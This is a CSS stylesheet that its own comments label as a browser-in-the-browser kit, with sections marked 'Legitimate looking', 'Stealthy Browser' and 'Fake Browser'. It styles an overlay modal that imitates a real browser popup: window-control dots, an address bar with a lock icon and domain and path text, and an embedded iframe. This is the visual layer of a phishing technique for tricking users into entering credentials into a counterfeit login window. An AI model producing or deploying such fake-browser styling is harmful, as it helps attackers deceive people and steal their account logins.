/* ============================================
   MAIN APP STYLES (Legitimate looking)
   ============================================ */
* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
    background: #f0f2f5;
    min-height: 100vh;
}

.app-container {
    max-width: 1200px;
    margin: 0 auto;
    padding: 20px;
}

.app-header {
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 16px 24px;
    background: #ffffff;
    border-radius: 12px;
    box-shadow: 0 2px 8px rgba(0, 0, 0, 0.06);
    margin-bottom: 24px;
}

.app-logo {
    font-size: 1.3rem;
    font-weight: 700;
    color: #0f172a;
}

.app-nav {
    display: flex;
    gap: 24px;
}

.app-nav a {
    color: #475569;
    text-decoration: none;
    font-weight: 500;
    font-size: 0.95rem;
    padding: 6px 12px;
    border-radius: 6px;
    transition: background 0.2s, color 0.2s;
    cursor: pointer;
}

.app-nav a:hover {
    background: #f1f5f9;
    color: #0f172a;
}

.app-nav a:active {
    background: #e2e8f0;
}

.app-user {
    font-size: 0.95rem;
    color: #475569;
}

.app-content {
    background: #ffffff;
    border-radius: 12px;
    padding: 32px;
    box-shadow: 0 2px 8px rgba(0, 0, 0, 0.06);
    min-height: 400px;
}

/* ============================================
   BITB WINDOW STYLES (Stealthy Browser)
   ============================================ */
.bitb-overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(0, 0, 0, 0.4);
    backdrop-filter: blur(4px);
    z-index: 9998;
    opacity: 0;
    pointer-events: none;
    transition: opacity 0.25s ease;
}

.bitb-overlay.active {
    opacity: 1;
    pointer-events: auto;
}

.bitb-window {
    position: fixed;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%) scale(0.92);
    width: 900px;
    max-width: 92vw;
    height: 700px;
    max-height: 88vh;
    background: #ffffff;
    border-radius: 12px;
    box-shadow: 0 24px 80px rgba(0, 0, 0, 0.35), 0 8px 32px rgba(0, 0, 0, 0.12);
    z-index: 9999;
    display: flex;
    flex-direction: column;
    opacity: 0;
    pointer-events: none;
    transition: transform 0.3s cubic-bezier(0.34, 1.56, 0.64, 1), opacity 0.25s ease;
    border: 1px solid rgba(255, 255, 255, 0.1);
}

.bitb-window.active {
    opacity: 1;
    pointer-events: auto;
    transform: translate(-50%, -50%) scale(1);
}

/* ============================================
   WINDOW TITLE BAR (Fake Browser)
   ============================================ */
.bitb-titlebar {
    display: flex;
    align-items: center;
    padding: 8px 12px;
    background: #f1f3f4;
    border-radius: 12px 12px 0 0;
    cursor: default;
    user-select: none;
    flex-shrink: 0;
    border-bottom: 1px solid #dadce0;
}

.bitb-titlebar .controls {
    display: flex;
    gap: 8px;
    margin-right: 12px;
}

.bitb-titlebar .controls .dot {
    width: 13px;
    height: 13px;
    border-radius: 50%;
    transition: filter 0.15s;
}

.bitb-titlebar .controls .dot:hover {
    filter: brightness(1.1);
}

.bitb-titlebar .controls .dot.close {
    background: #ff5f57;
}
.bitb-titlebar .controls .dot.minimize {
    background: #ffbd2e;
}
.bitb-titlebar .controls .dot.maximize {
    background: #28c840;
}

.bitb-titlebar .title {
    flex: 1;
    text-align: center;
    font-size: 0.8rem;
    color: #5f6368;
    font-weight: 500;
    letter-spacing: 0.2px;
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 8px;
}

.bitb-titlebar .title .favicon {
    width: 16px;
    height: 16px;
    background: #dadce0;
    border-radius: 3px;
    display: inline-block;
}

.bitb-titlebar .spacer {
    width: 68px;
}

/* ============================================
   ADDRESS BAR
   ============================================ */
.bitb-addressbar {
    display: flex;
    align-items: center;
    padding: 6px 12px 6px 16px;
    background: #f1f3f4;
    gap: 10px;
    border-bottom: 1px solid #dadce0;
    flex-shrink: 0;
}

.bitb-addressbar .nav-buttons {
    display: flex;
    gap: 4px;
    color: #5f6368;
    font-size: 1.1rem;
}

.bitb-addressbar .nav-buttons span {
    cursor: default;
    opacity: 0.6;
    padding: 2px 4px;
}

.bitb-addressbar .url {
    flex: 1;
    background: #ffffff;
    border: 1px solid #dadce0;
    border-radius: 20px;
    padding: 4px 16px;
    font-size: 0.85rem;
    color: #1a1a2e;
    height: 32px;
    display: flex;
    align-items: center;
    gap: 6px;
}

.bitb-addressbar .url .lock {
    font-size: 0.8rem;
    opacity: 0.6;
}

.bitb-addressbar .url .domain {
    color: #1a1a2e;
}

.bitb-addressbar .url .path {
    color: #5f6368;
}

.bitb-addressbar .actions {
    display: flex;
    gap: 8px;
    color: #5f6368;
    font-size: 1rem;
}

.bitb-addressbar .actions span {
    cursor: default;
    opacity: 0.6;
}

/* ============================================
   IFRAME CONTENT
   ============================================ */
.bitb-content {
    flex: 1;
    background: #ffffff;
    border-radius: 0 0 12px 12px;
    overflow: hidden;
    position: relative;
}

.bitb-content iframe {
    width: 100%;
    height: 100%;
    border: none;
}

/* ============================================
   LOADING STATE
   ============================================ */
.bitb-content .loading {
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 12px;
    color: #5f6368;
    font-size: 0.9rem;
}

.bitb-content .loading .spinner {
    width: 32px;
    height: 32px;
    border: 3px solid #e2e8f0;
    border-top: 3px solid #2563eb;
    border-radius: 50%;
    animation: spin 0.8s linear infinite;
}

@keyframes spin {
    to { transform: rotate(360deg); }
}

/* ============================================
   RESPONSIVE
   ============================================ */
@media (max-width: 768px) {
    .app-nav {
        gap: 12px;
        flex-wrap: wrap;
    }

    .app-nav a {
        font-size: 0.8rem;
        padding: 4px 10px;
    }

    .bitb-window {
        width: 96vw;
        max-height: 92vh;
    }

    .bitb-titlebar .title {
        font-size: 0.7rem;
    }

    .bitb-addressbar .url {
        font-size: 0.75rem;
        padding: 2px 12px;
    }
}